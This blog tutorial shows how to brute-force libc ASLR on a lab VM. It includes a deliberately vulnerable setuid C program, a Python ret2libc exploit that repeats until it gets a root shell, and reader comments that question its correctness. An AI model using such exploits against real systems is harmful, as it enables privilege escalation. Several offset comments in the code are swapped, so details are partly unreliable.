Prerequisite:
VM Setup: Ubuntu 12.04 (x86)
In this post lets see how to bypass shared library address randomization using brute force technique.
What is brute-force?
In this technique attacker chooses a particular libc base address and continues to attack the program until he succeeds. This technique is the simplest of the technique to bypass ASLR, provided you get lucky 🙂
Vulnerable Code:
//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buf[256]; strcpy(buf,argv[1]); printf("%s\n",buf); fflush(stdout); return 0; }
Compilation Commands:
#echo 2 > /proc/sys/kernel/randomize_va_space $gcc -fno-stack-protector -g -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln
Lets now see how attacker brute forces libc base address. Below is the different libc base addresses (when randomization is turned on):
$ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000) $ ldd ./vuln | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000) $
As shown above libc randomization is limited to 8 bits. Hence a maximum of 256 tries, should gives us a root shell. In the below exploit code lets choose libc base address to be 0xb7595000 and lets make multiple tries.
Exploit Code:
#exp.py #!/usr/bin/env python import struct from subprocess import call libc_base_addr = 0xb7595000 exit_off = 0x00032be0 #Obtained from "readelf -s libc.so.6 | grep system" command. system_off = 0x0003f060 #Obtained from "readelf -s libc.so.6 | grep exit" command. system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off system_arg = 0x804827d #endianess convertion def conv(num): return struct.pack("<I",num) # Junk + system + exit + system_arg buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(system_arg) print "Calling vulnerable program" #Multiple tries until we get lucky i = 0 while (i < 256): print "Number of tries: %d" %i i += 1 ret = call(["./vuln", buf]) if (not ret): break else: print "Exploit failed"
Running the above exploit code gives us root shell (as shown below):
$ python exp.py Calling vulnerable program Number of tries: 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}� Exploit failed ... Number of tries: 42 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}� Exploit failed Number of tries: 43 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}� # id uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun) # exit $
NOTE: Similarly stack and heap segment address can also be brute forced!!
Hi,
if the randomization can take 256 values, are we really ensured that 256 tries will be enough ? This seems not natural to me, because you need that the number you try is the number picked for the randomization. I would say that you win with a proba of 1/256… So your program succeeds with a proba of 1-(1-1/256)^256 = 0.63
This question arises because I am trying to bruteforce 2 bytes (65536) instead of 1 byte and I am afraid to never succeed ^^.
Thanks a lot for this great blog, go on posting 🙂
LikeLike
Also how do you find the system args to be 0x804827d ?
LikeLike
Using hexdump I search for the string “sh” find its offset and add to the base addr.
LikeLike
Can you please explain how you got the offset of that string with hexdump, i used hexdump and found the following line
00001090 61 73 68 00 2e 64 79 6e 73 79 6d 00 2e 64 79 6e |ash..dynsym.dyn|
so i guessed that the offset 0x00001091 would do, but it doesn’t when i run my exploit after a few trys it gets the base address right and jumps to system but system fails…
LikeLike
Look for sh substring present in fflush since I guess you are looking into a section which doesnt get loaded into memory at all!
LikeLike
More specifically use objdump or hexdump to search and find the string “sh” as shown:
hexdump -C vuln | grep sh
Then the rest is simply counting and obtaining its offset and finally adding it to the base address of libc.
Took me a long while to solve that and figure it out.
LikeLike
I was brute-force but I can not enter command.
Number of tries: 41
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3\�`b[�L�s
Exploit failed
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3\�`b[�L�s
dlufy@DLufy ~/exploit/SBBO $
LikeLike
Try using execve instead of system. System may be depreciated. I’m using Kali linux and system never works for my exploits, however execve does. Just remember that execve will take three arguments, instead of one.
LikeLike
I think this method is not correct. As said by rastarocco, there aren’t 256 posibilities. The first time that you execute the python call, the shared library will be loaded in certain address, for example: 0xb75b6000. To do work this method, that direction can’t change between executions but in the next while iteration that address has change. So it is possible that the while loop finosh without execute the exploit.
LikeLike
hi, can you check your endianness convertion ? is it correct ?
LikeLike
Such a poorly written exploit. So many typos, nothing makes sense. The conv() method , all the variables in there don’t exist.
A. To find the system_arg is such a an important part and it’s not even explained at all to how he got that address, even in the comments there is so actual explanation . “Just use hexdump and add the offsets” ????
LikeLike